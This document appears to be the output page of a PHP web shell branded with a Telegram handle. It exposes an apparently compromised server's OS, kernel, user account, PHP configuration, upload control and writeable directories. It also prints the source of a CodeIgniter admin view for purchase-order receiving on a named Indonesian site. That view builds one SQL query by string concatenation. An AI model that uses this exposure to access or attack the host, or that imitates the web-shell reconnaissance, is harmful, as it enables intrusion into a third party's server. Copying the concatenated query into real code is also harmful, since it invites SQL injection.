https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/rabbithabit.com/public_html/application/views/admin/pembelian_penerimaan/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/rabbithabit.com/public_html/application/views/admin/pembelian_penerimaan/detail.php
<div class="row">
    <div class="col-sm-12">
        <p>
            <a href="<?= base_url('admin/pembelian/penerimaan'); ?>">
                <i class="fa fa-arrow-left" aria-hidden="true"></i> Kembali ke daftar Penerimaan
            </a>
        </p><br>
        <h2>
            No. TTB : 
            <?php if(isset($current_transaction_receiving)): ?>
                <?= $transaction_receiving->no_ttb; ?>
            <?php endif; ?>
        </h2>
    </div><!-- end class="col-sm-12" -->
</div> <!-- end row -->

<?= form_open_multipart(); ?>
<div class="row">
    <div class="col-sm-12" style="text-align: center;">
        <p style="border: 1px solid;padding: 5px;">Supplier</p>
    </div>
    <div class="col-sm-4">
        <p><b>No.Pemesanan</b></p>
        <?php if(isset($current_transaction_receiving)): ?>
            <input type="hidden" name="id_transaction" value="<?= $transaction->id_transaction; ?>" readonly>
            <input class="form-control" type="text" value="<?= $transaction->no_transaksi; ?>" disabled>
        <?php else: ?>

            <?php if($role == 'apoteker') : ?>
                <?php
                    //get warehouse id for this apoteker
                    $this->db->select('warehouse_id')->from('users')->where('id', $this->session->userdata('admin')['id']);
                    $apoteker_warehouse_id = $this->db->get()->row()->warehouse_id;  
                ?>
            <?php endif; ?>    

                 <select class="form-control select_transaction" name="id_transaction" required>
                    <option value selected disabled readonly>Pilih No.PO ... </option>
                    <?php foreach ($transaction as $item_transaction):?>
                        <?php  
                            /*cek open fully sent and closed fully sent*/
                            $cek = $this->db->select('id')->from('transaction_receiving')->where('transaction_id',$item_transaction->id_transaction)->where('(status_penerimaan=9 OR status_penerimaan=11)')->get()->row();
                            /*cek open fully sent and closed fully sent*/
                        ?>
                        <?php if($cek == null): ?>
                            <?php if($role == 'apoteker') : ?>
                                <?php if($item_transaction->warehouse_id == $apoteker_warehouse_id) : ?>  
                                  <option value="<?= $item_transaction->id_transaction; ?>"><?= $item_transaction->no_transaksi; ?></option>  
                                <?php endif; ?>    
                            <?php else : ?>
                                 <option value="<?= $item_transaction->id_transaction; ?>"><?= $item_transaction->no_transaksi; ?></option>
                            <?php endif; ?>    
                        <?php endif; ?>
                    <?php endforeach; ?>
                </select>
            
            

            <?= form_error('id_transaction'); ?>
        <?php endif; ?>        
        <br>
        <p><b>Nama Supplier</b></p>
        <?php if(isset($current_transaction_receiving)): ?>
            <input class="form-control" type="text" value="<?= $supplier->supplier_name; ?>" disabled>
        <?php else: ?>
            <input class="form-control" type="text" value="" id="nama_supplier" disabled>
        <?php endif; ?>
        <br>
        <p><b>Alamat</b></p>
        <div style="border: 1px solid black;padding: 20px 10px;">
            <?php if(isset($current_transaction_receiving)): ?>
                <p style="margin-bottom: 0px;"><?= ucfirst($supplier->supplier_address); ?></p>
            <?php else: ?>
                <p id="supplier_address" style="margin-bottom: 0px;"></p>
            <?php endif; ?>
        </div>
    </div>
    <div class="col-sm-4">
        <p><b>E-mail</b></p>
        <?php if(isset($current_transaction_receiving)): ?>
            <input class="form-control" type="email" value="<?= $supplier->supplier_email; ?>" style="padding: 5px;width: 100%;" disabled>
        <?php else: ?>
            <input class="form-control" type="email" id="supplier_email" style="padding: 5px;width: 100%;" disabled>
        <?php endif; ?>
        <br>
        <p><b>Tgl. Permintaan</b></p>
        <?php if(isset($current_transaction_receiving)): ?>
            <input class="form-control" type="text" value="<?= $transaction->tgl_transaksi; ?>" disabled style="padding: 5px;">
        <?php else: ?>
            <input class="form-control" type="text" id="tgl_transaksi" disabled style="padding: 5px;">
        <?php endif; ?>
        <div style="padding-top: 20px;display: none;">
            <p><b>No. Referensi Supplier</b></p>
            <?php if(isset($current_transaction_receiving)): ?>
                <input class="form-control" type="text" value="<?= $transaction->no_referensi; ?>" disabled style="padding: 5px;">
            <?php else: ?>
                <input class="form-control" type="text" id="no_referensi" disabled style="padding: 5px;">
            <?php endif; ?>
        </div>
    </div>
    <div class="col-sm-4">
        <p><b>Syarat Pembayaran</b></p>
        <?php if(isset($current_transaction_receiving)): ?>
            <input type="text" class="form-control" disabled value="<?= $syarat_pembayaran; ?>" style="padding: 5px;">
        <?php else: ?>
            <select class="form-control" id="syarat_pembayaran" disabled></select>
        <?php endif; ?>
        <br>
        <p><b>Tgl. Jatuh Tempo</b></p>
        <?php if(isset($current_transaction_receiving)): ?>
            <input class="form-control" type="date" value="<?= $transaction->tgl_jth_tempo; ?>" disabled style="padding: 5px;">
        <?php else: ?>
            <input class="form-control" type="date" id="tgl_jth_tempo" readonly style="padding: 5px;">
        <?php endif; ?>
        <br>
        <p><b>Gudang</b></p>
        <?php if(isset($current_transaction_receiving)): ?>
            <input class="form-control" type="text" value="<?= $warehouse; ?>" disabled style="padding: 5px;">
        <?php else: ?>
            <input class="form-control" type="text" id="warehouse" disabled style="padding: 5px;">
        <?php endif; ?>
    </div>
</div>

<div class="row" >
    <div class="col-sm-12">
        <div class="table-responsive">    
            <table class="table table-striped" style="margin-bottom: 0px;">
                <thead>
                    <tr>
                        <th>Produk</th>
                        <th>Kode Produk</th>
                        <th>SatuanBeli to SatuanJual</th>
                        <th>Quantitas Beli Diterima</th>
                        <th>Quantitas Jual</th>
                        <th>Last90D</th>
                        <th>Stok Skrg</th>
                    </tr>
                </thead>
                <tbody id="transaction_detail">
                    <?php if(isset($current_transaction_receiving)): ?>
                        <?php $a=0; foreach ($transaction_detail as $item_transaction_detail):?>
                            <tr>
                                <td>
                                    <?php 
                                        $products = $this->db->select('title,product_code')->from('products')->where('id_products',$item_transaction_detail->id_product)->get()->row();
                                        echo ucfirst($products->title);
                                    ?>
                                </td>
                                <td><?php echo ucfirst($products->product_code); ?></td>
                                <td>
                                    <select class="form-control" disabled>
                                        <option readonly selected>Pilih Conversi</option>
                                        <?php 
                                            $konversi=$this->db->query("select id_product,satuan_beli_id,satuan_jual_id from `transaction_detail` where id_transaction=".$item_transaction_detail->id_transaction." and id_product=".$item_transaction_detail->id_product." union select product_id,satuan_beli_id,satuan_jual_id from unit_convertion where product_id=".$item_transaction_detail->id_product)->result();
                                            foreach ($konversi as $item):
                                                $satuan_beli = $this->db->select("*")->from("conversion")->where("id_conversion",$item_transaction_detail->satuan_beli_id)->get()->row()->conversion;
                                                $satuan_jual = $this->db->select("*")->from("conversion")->where("id_conversion",$item_transaction_detail->satuan_jual_id)->get()->row()->conversion;
                                        ?><?php 
                                                if(($item->satuan_beli_id == $item_transaction_detail->satuan_beli_id) && ($item->satuan_jual_id == $item_transaction_detail->satuan_jual_id)) : ?>
                                                <option value="<?= ($item->satuan_beli_id).'-'.($item->satuan_jual_id)?>" selected><?= ucfirst($satuan_beli).' -to- '.ucfirst($satuan_jual); ?></option>
                                            <?php else: ?>
                                                <option value="<?= ($item->satuan_beli_id).'-'.($item->satuan_jual_id)?>"><?= ucfirst($satuan_beli).' -to- '.ucfirst($satuan_jual); ?></option>
                                            <?php endif; ?>
                                        <?php endforeach; ?>
                                    </select>
                                </td>
                                <td>
                                    <?php if(isset($current_transaction_receiving)): ?>
                                        <input type="number" class="form-control" id="coming_qty<?= $item_transaction_detail->id; ?>" onblur="cekqty(<?= $item_transaction_detail->id; ?>)" name="coming_qty[]" min="0" value="<?= $transaction_receiving_detail[$a]->qty_receiving; ?>" required style="width: 90px;text-align: center;padding: 5px;display: inline;">
                                    <?php else: ?>
                                        <input type="number" class="form-control" id="coming_qty<?= $item_transaction_detail->id; ?>" onblur="cekqty(<?= $item_transaction_detail->id; ?>)" name="coming_qty[]" min="0" required style="width: 90px;text-align: center;padding: 5px;display: inline;">
                                    <?php endif; ?>
                                    <input type="hidden" id="current_qty<?= $item_transaction_detail->id; ?>" value="<?= $item_transaction_detail->kuantitas_beli; ?>">
                                    <input type="hidden" id="current_qty_receiving<?= $item_transaction_detail->id; ?>" value="<?= $item_transaction_detail->kuantitas_beli_penerimaan; ?>">
                                    <p id="final_result_qty<?= $item_transaction_detail->id; ?>" style="display: inline;"></p>
                                </td>
                                <td>
                                    <?php 
                                        $konversi = $item_transaction_detail->konversi; 
                                        $convertion_value = $konversi * $item_transaction_detail->kuantitas_beli;
                                    ?>
                                    <input type="hidden" id="konversi<?= $item_transaction_detail->id; ?>" value="<?= $konversi;?>">
                                    <input type="hidden" id="current_konversi<?= $item_transaction_detail->id; ?>" value="<?= $convertion_value;?>">
                                    <input class="form-control" id="new_konversi_value<?= $item_transaction_detail->id; ?>" type="text" disabled value="<?= $convertion_value; ?>" style="width: 90px;text-align: center;padding: 5px;">
                                </td>
                                <td>
                                    <input type="text" class="form-control" value="0" disabled style="width:50px;text-align: center;padding: 5px;">
                                </td>
                                <td>
                                    <?php 
                                        error_reporting(0);
                                        $product_stock = 0;
                                        $warehouse_stock = $this->db->select('stock')->from('stock')->where('id_product',$item_transaction_detail->id_product)->where('warehouse_id',$transaction->warehouse_id)->get()->row()->stock;
                                        if($warehouse_stock != null){
                                            $product_stock = $warehouse_stock;
                                        }
                                        else{
                                            $product_stock = $product_stock;
                                        }
                                    ?>
                                    <input type="text" class="form-control" value="<?= $product_stock; ?>" disabled style="width:50px;text-align: center;padding: 5px;">
                                </td>
                            </tr>
                        <?php $a++; endforeach; ?>
                    <?php else: ?>
                        <tr>
                            <td colspan="6" style="text-align: center;">
                                Pilih No. PO Terlebih Dahulu
                            </td>
                        </tr>
                    <?php endif; ?>
                </tbody> 
            </table>
        </div><!-- end class responsive-->
    </div><!-- end class="col-sm-12" -->
</div> <!-- end row --> 

<div class="row">
    <div class="col-sm-4">
        <p style="font-size: 20px;"><b>Catatan :</b></p>
        <div style="border: 1px solid black;padding: 20px 10px;">
            <?php if(isset($current_transaction_receiving)): ?>
                <p style="margin-bottom: 0px;"><?= $transaction->transaction_message; ?></p>
            <?php else: ?>
                <p style="margin-bottom: 0px;" id="transaction_message"></p>
            <?php endif; ?>
        </div>
    </div>
    <div class="col-sm-4">
        <p style="font-size: 20px;"><b>Lampiran :</b></p>
        <?php if(isset($current_transaction_receiving)): ?>
            <div class="form-group">
                <a href="<?= base_url('uploads/lampiran/'.$transaction->transaction_file);?>" target="_blank"><?= $transaction->transaction_file; ?></a>
            </div>            
        <?php else:?>
            <div class="form-group" id="transaction_file"></div>
        <?php endif; ?>
    </div>
    
    <div class="col-sm-4">
        <div class="row">
            <div class="col-sm-6">
                Ongkos Pengiriman
            </div>
            <div class="col-sm-6">
                <?php if(isset($current_transaction_receiving)): ?>
                    Rp. <input class="form-control uang" type="text" name="ongkos_pengiriman" value="<?= number_format($transaction_receiving->ongkos_pengiriman,2,',','.'); ?>" style="padding: 5px;display: inline;width: 139px;">
                <?php else: ?>
                    Rp. <input class="form-control uang" type="text" name="ongkos_pengiriman" value="0,00" style="padding: 5px;display: inline;width: 139px;">
                <?php endif; ?>
            </div>
        </div>
    </div>
</div>

<div class="row">
    <div class="col-sm-12" style="text-align: center;">
        <a href="<?= base_url('admin/pembelian/penerimaan'); ?>" type="submit" class="btn btn-info">Kembali ke Penerimaan</a>
        <?php if(isset($current_transaction_receiving)): ?>
            <?php if($transaction_receiving->status_penerimaan == '7'): ?>
                <button class="btn btn-success" type="submit" name="submit" value="save">
                    <i class="fa fa-save"></i>&nbsp;Simpan sebagai Draf
                </button> 
                <button class="btn btn-primary" type="submit" name="submit" value="confirm">
                    <i class="fa fa-save"></i>&nbsp;Konfirmasi Penerimaan
                </button>
            <?php endif; ?>
        <?php else: ?>
            <button class="btn btn-success" type="submit" name="submit" value="save">
                <i class="fa fa-save"></i>&nbsp;Simpan sebagai Draf
            </button> 
            <button class="btn btn-primary" type="submit" name="submit" value="confirm">
                <i class="fa fa-save"></i>&nbsp;Konfirmasi Penerimaan
            </button>
        <?php endif; ?>
    </div>
</div>
<?= form_close(); ?>


<script>
    $(document).ready(function(){
        // decimal money
        $('.uang').maskMoney({thousands:'.', decimal:','});
        // decimal money
        
        $('.select_transaction').change(function(){ 
            var id_transaction = $(this).val();
            ajax_penerimaan_get_supplier_detail(id_transaction);
            ajax_penerimaan_get_syarat_pembayaran(id_transaction);
            ajax_penerimaan_get_transaction_detail(id_transaction);
        });
    });
    function ajax_penerimaan_get_supplier_detail(id_transaction) {
        $.ajax({
            'url'       : '<?php echo base_url(); ?>' + 'admin/pembelian' + '/ajax_penerimaan_get_supplier_detail', 
            'type'      : 'POST',
            'data'      : {
                            'id_transaction' : id_transaction,
                            '<?= $this->security->get_csrf_token_name(); ?>' : '<?= $this->security->get_csrf_hash(); ?>'
                        }, 
            'success'   : function(data) {
                if (data) { 
                    var hasil = JSON.parse(data);
                    document.getElementById('nama_supplier').value = hasil.supplier['supplier_name'];
                    $('#supplier_address').html(hasil.supplier['supplier_address']);
                    document.getElementById('supplier_email').value = hasil.supplier['supplier_email'];
                    document.getElementById('tgl_transaksi').value = hasil.transaction['tgl_transaksi'];
                    document.getElementById('no_referensi').value = hasil.transaction['no_referensi'];
                    document.getElementById('tgl_jth_tempo').value = hasil.transaction['tgl_jth_tempo'];
                    document.getElementById('warehouse').value = hasil.warehouse['name'];
                    $('#transaction_message').html(hasil.transaction['transaction_message']);
                    document.getElementById("transaction_file").innerHTML = '<a href="<?= base_url('uploads/lampiran/');?>'+hasil.transaction['transaction_file']+'" target="_blank">'+hasil.transaction['transaction_file']+'</a>';
                };
            }
        });
    }
    function ajax_penerimaan_get_syarat_pembayaran(id_transaction) {
        $.ajax({
            'url'       : '<?php echo base_url(); ?>' + 'admin/pembelian' + '/ajax_penerimaan_get_syarat_pembayaran', 
            'type'      : 'POST',
            'data'      : {
                            'id_transaction' : id_transaction,
                            '<?= $this->security->get_csrf_token_name(); ?>' : '<?= $this->security->get_csrf_hash(); ?>'
                        }, 
            'success'   : function(result) {
                if (result) { 
                    $('#syarat_pembayaran').html(result);
                };
            }
        });
    }
    function ajax_penerimaan_get_transaction_detail(id_transaction) {
        $.ajax({
            'url'       : '<?php echo base_url(); ?>' + 'admin/pembelian' + '/ajax_penerimaan_get_transaction_detail', 
            'type'      : 'POST',
            'data'      : {
                            'id_transaction' : id_transaction,
                            '<?= $this->security->get_csrf_token_name(); ?>' : '<?= $this->security->get_csrf_hash(); ?>'
                        }, 
            'success'   : function(result) {
                if (result) { 
                    $('#transaction_detail').html(result);
                };
            }
        });
    }
    function cekqty(id_transaction_detail){
        var qty_coming              = document.getElementById('coming_qty'+id_transaction_detail).value;
        var current_qty             = document.getElementById('current_qty'+id_transaction_detail).value;
        var current_qty_receiving   = document.getElementById('current_qty_receiving'+id_transaction_detail).value;
        var konversi                = document.getElementById('konversi'+id_transaction_detail).value;
        var current_konversi        = document.getElementById('current_konversi'+id_transaction_detail).value;
        if(current_qty_receiving > 0){
            var total_akhir             = parseInt(current_qty)-(parseInt(qty_coming)+parseInt(current_qty_receiving));
            if(qty_coming >= 0){
                if(total_akhir >= 0){
                    $('#final_result_qty'+id_transaction_detail).html("Sisa "+total_akhir);
                    if(parseInt(qty_coming) != 0){
                        var new_konversi_value = parseInt(qty_coming) * konversi;
                        document.getElementById('new_konversi_value'+id_transaction_detail).value = new_konversi_value;
                    }
                    else{
                        document.getElementById('new_konversi_value'+id_transaction_detail).value = current_konversi;
                    }
                }
                else{
                    var lebih       = (parseInt(qty_coming)+parseInt(current_qty_receiving))-parseInt(current_qty);
                    alert('over capacity');
                    document.getElementById('coming_qty'+id_transaction_detail).value = "0";
                    var reset_sisa  = parseInt(current_qty)-parseInt(current_qty_receiving);
                    $('#final_result_qty'+id_transaction_detail).html("Sisa "+reset_sisa);
                    document.getElementById('new_konversi_value'+id_transaction_detail).value = current_konversi;
                    return;
                    /*$('#final_result_qty'+id_transaction_detail).html("Lebih +"+lebih);*/
                }
            }
            else{
                $('#final_result_qty'+id_transaction_detail).html("Error !!!");
            }
        }
        else{
            var total_akhir             = parseInt(current_qty)-parseInt(qty_coming);
            if(qty_coming >= 0){
                if(total_akhir >= 0){
                    $('#final_result_qty'+id_transaction_detail).html("Sisa "+total_akhir);
                    if(parseInt(qty_coming) != 0){
                        var new_konversi_value = parseInt(qty_coming) * konversi;
                        document.getElementById('new_konversi_value'+id_transaction_detail).value = new_konversi_value;
                    }
                    else{
                        document.getElementById('new_konversi_value'+id_transaction_detail).value = current_konversi;
                    }
                }
                else{
                    var lebih = parseInt(qty_coming)-parseInt(current_qty);
                    /*$('#final_result_qty'+id_transaction_detail).html("Lebih +"+lebih);*/
                    alert('over capacity');
                    document.getElementById('coming_qty'+id_transaction_detail).value = "0";
                    var reset_sisa  = parseInt(current_qty)-parseInt(current_qty_receiving);
                    $('#final_result_qty'+id_transaction_detail).html("Sisa "+reset_sisa);
                    document.getElementById('new_konversi_value'+id_transaction_detail).value = current_konversi;
                    return;
                }
            }
            else{
                $('#final_result_qty'+id_transaction_detail).html("Error !!!");
            }
        }
    }
</script>

https://t.me/RX1948 - 2025